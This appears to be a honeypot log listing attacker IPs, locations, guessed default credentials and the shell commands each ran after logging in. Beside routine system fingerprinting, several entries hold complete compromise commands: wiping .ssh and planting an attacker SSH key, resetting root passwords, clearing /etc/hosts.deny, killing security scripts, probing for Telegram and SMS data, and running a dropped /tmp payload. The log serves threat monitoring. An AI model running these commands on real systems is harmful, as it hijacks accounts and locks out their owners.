$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "asdf1234\nS4QTpcZqQDEh\nS4QTpcZqQDEh"|passwd|bash
$ Enter new UNIX password:
$ echo "asdf1234\nS4QTpcZqQDEh\nS4QTpcZqQDEh\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ jittery_dimsum_root (118.193.40.61) โ€” Hong Kong, Hong Kong ยท 1 session ยท 2 cmds
2026-08-09 17:50 EDT ยท as oracle/redhat
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ venomous_springbok_root (129.151.171.7) โ€” Johannesburg, South Africa ยท 2 sessions ยท 18 cmds
2026-08-01 10:38 EDT ยท as root/root
network mapping โ†’ OS/kernel identification โ†’ CPU profiling
$ /ip cloud print ร—2
$ ifconfig ร—2
โ†ณ network mapping
$ uname -a ร—2
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo ร—2
โ†ณ CPU profiling
$ ps | grep '[Mm]iner' ร—2
$ ps -ef | grep '[Mm]iner' ร—2
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/* ร—2
$ locate D877F783D5D3EF8Cs ร—2
$ echo Hi | cat -n ร—2
๐ŸŽญ molten_silk_root_175 (103.85.85.175) โ€” Zhenjiang, China ยท 1 session ยท 1 cmd
2026-08-09 16:39 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ listless_jade_root_122 (121.196.156.122) โ€” Hangzhou, China ยท 1 session ยท 1 cmd
2026-08-09 13:59 EDT ยท as root/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ rogue_star_root (31.77.227.120) โ€” Orem, United States ยท 8 sessions ยท 8 cmds
2026-07-31 20:15 EDT ยท as test/test, user/user
echo
$ echo SHELL_TEST ร—8
๐ŸŽญ murky_bike_root (193.32.162.27) โ€” Amsterdam, The Netherlands ยท 35 sessions ยท 315 cmds
2026-08-09 05:33 EDT ยท as admin/123456, admin/admin, admin/admin123
export PATH manipulation โ†’ OS fingerprinting via uname variants โ†’ kernel version extraction from /proc/version โ†’ OS release detection via /etc/os-release
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—35
โ†ณ make executable
$ uname -s -v -n -m 2 > /dev/null ร—35
$ /bin/uname -s -v -n -m 2 > /dev/null ร—35
$ /usr/bin/uname -s -v -n -m 2 > /dev/null ร—35
$ busybox uname -s -v -n -m 2 > /dev/null ร—35
$ ( [ -f /proc/version ] ร—35
$ [ -f /proc/version ] ร—35
$ head -1 /proc/version | cut -d -f1 ร—35
$ [ -f /etc/os-release ] ร—35
๐ŸŽญ glitchy_kimchi_root (175.119.225.68) โ€” Namdong-gu, South Korea ยท 1 session ยท 2 cmds
2026-08-09 09:50 EDT ยท as oracle/test1234
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ gnarled_eagle_root (96.78.175.36) โ€” San Francisco, United States ยท 1 session ยท 2 cmds
2026-08-09 06:52 EDT ยท as oracle/11111111
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ nocturnal_lantern_sol (14.103.107.234) โ€” Beijing, China ยท 1 session ยท 3 cmds
2026-08-09 06:09 EDT ยท as solana/solana
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
๐ŸŽญ venomous_junk_root (47.239.23.179) โ€” Hong Kong, Hong Kong ยท 6 sessions ยท 6 cmds
2026-08-09 03:43 EDT ยท as admin/admin, deploy/deploy123, mysql/mysql
Ran uname 3x across 3 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—6
๐ŸŽญ restless_pampas_root (181.191.66.35) โ€” La Plata, Argentina ยท 1 session ยท 2 cmds
2026-08-09 02:36 EDT ยท as oracle/Admin@123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ restless_clog_sol (91.92.42.81) โ€” Amsterdam, The Netherlands ยท 31 sessions ยท 31 cmds
2026-08-08 22:24 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—31
๐ŸŽญ wily_pretzel_pi (178.201.162.195) โ€” Iserlohn, Germany ยท 2 sessions ยท 3 cmds
2026-08-08 23:25 EDT ยท as pi/raspberry
make executable โ†’ execute payload โ†’ execute from /tmp
$ cd /tmp && chmod +x P32G6JAl && bash -c ./P32G6JAl
โ†ณ make executable
$ ./P32G6JAl
โ†ณ execute payload
$ scp -t /tmp/P32G6JAl
โ†ณ execute from /tmp
๐ŸŽญ manic_clog_root (45.156.87.254) โ€” Amsterdam, The Netherlands ยท 62 sessions ยท 62 cmds
2026-07-12 13:15 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—62
๐ŸŽญ hollow_dragon_root_98 (140.206.107.98) โ€” Shanghai, China ยท 1 session ยท 1 cmd
2026-08-08 19:02 EDT ยท as root/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ ashen_lantern_db (118.196.79.21) โ€” Haidian, China ยท 1 session ยท 1 cmd
2026-08-08 17:47 EDT ยท as oracle/oracle
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ gnarled_junk_root (101.36.110.41) โ€” Hong Kong, Hong Kong ยท 1 session ยท 19 cmds
2026-08-08 16:43 EDT ยท as root/P@ssw0rd1!
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:LjPploLXfXtf"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ clandestine_panda_root_138 (39.96.222.138) โ€” Beijing, China ยท 1 session ยท 1 cmd
2026-08-08 16:32 EDT ยท as ubuntu/ubuntu
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ derelict_spice_root_7 (168.144.120.7) โ€” Bengaluru, India ยท 8 sessions ยท 8 cmds
2026-08-08 16:07 EDT ยท as admin/123456, admin/admin, pi/raspberry
CPU profiling (repeated CPU profiling 8x)
$ cat /proc/version 2>/dev/null; echo '===SEP==='; id 2>/dev/null; echo '===SEP==='; hostname 2>/dev/null; echo '===SEP==='; cat /etc/os-release 2>/dev/null; echo '===SEP==='; cat /proc/cpuinfo 2>/dev/null | head -20 ร—8
โ†ณ CPU profiling
๐ŸŽญ weary_mekong_root (203.171.29.193) โ€” Hanoi, Vietnam ยท 35 sessions ยท 35 cmds
2026-08-08 12:04 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 21x across 21 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—35
๐ŸŽญ sullen_clog_root_72 (45.153.34.72) โ€” Amsterdam, The Netherlands ยท 15 sessions ยท 15 cmds
2026-08-08 12:03 EDT ยท as admin/123456, admin/admin, deploy/deploy
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—15
๐ŸŽญ baroque_hanbok_root_238 (59.27.249.238) โ€” Cheonan, South Korea ยท 1 session ยท 9 cmds
2026-08-08 10:25 EDT ยท as root/root
network mapping โ†’ OS/kernel identification โ†’ CPU profiling
$ /ip cloud print
$ ifconfig
โ†ณ network mapping
$ uname -a
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo
โ†ณ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
๐ŸŽญ baroque_bamboo_sol (42.96.20.16) โ€” Hanoi, Vietnam ยท 2 sessions ยท 21 cmds
2026-07-11 06:17 EDT ยท as oracle/1234, root/Aaa123123
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv โ†’ cat /proc/cpuinfo | grep name | wc -
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:fxs9PSGMFEFd"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ venomous_batik_root (202.51.214.99) โ€” Jakarta, Indonesia ยท 2 sessions ยท 4 cmds
2026-08-08 04:38 EDT ยท as oracle/0r@cl3, oracle/aa123456
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
๐ŸŽญ unhinged_wok_root (120.55.195.75) โ€” Hangzhou, China ยท 13 sessions ยท 13 cmds
2026-08-07 23:08 EDT ยท as guest/guest, mysql/mysql, oracle/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—13
๐ŸŽญ stoic_kopi_root (114.111.53.214) โ€” Singapore, Singapore ยท 1 session ยท 2 cmds
2026-08-07 20:38 EDT ยท as oracle/oracleadmin
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ restless_wok_root_100 (124.70.97.100) โ€” Beijing, China ยท 1 session ยท 20 cmds
2026-08-07 20:07 EDT ยท as oracle/oracleadmin
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "oracleadmin\n5nI7VjnRRR6K\n5nI7VjnRRR6K"|passwd|bash
$ Enter new UNIX password:
$ echo "oracleadmin\n5nI7VjnRRR6K\n5nI7VjnRRR6K\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ placid_dutch_root_61 (91.92.42.61) โ€” Eygelshoven, The Netherlands ยท 93 sessions ยท 93 cmds
2026-06-30 23:53 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—93
๐ŸŽญ nocturnal_rioja_root (196.196.150.124) โ€” Valencia, Spain ยท 1 session ยท 2 cmds
2026-08-07 17:11 EDT ยท as oracle/changeme
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ manic_carnival_sol (201.63.223.141) โ€” Sorocaba, Brazil ยท 1 session ยท 20 cmds
2026-08-07 16:32 EDT ยท as sol/sol
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa..." โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ echo "sol\nTQ7faxTa5Q7a\nTQ7faxTa5Q7a"|passwd|bash โ†’ Enter new
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "sol\nTQ7faxTa5Q7a\nTQ7faxTa5Q7a"|passwd|bash
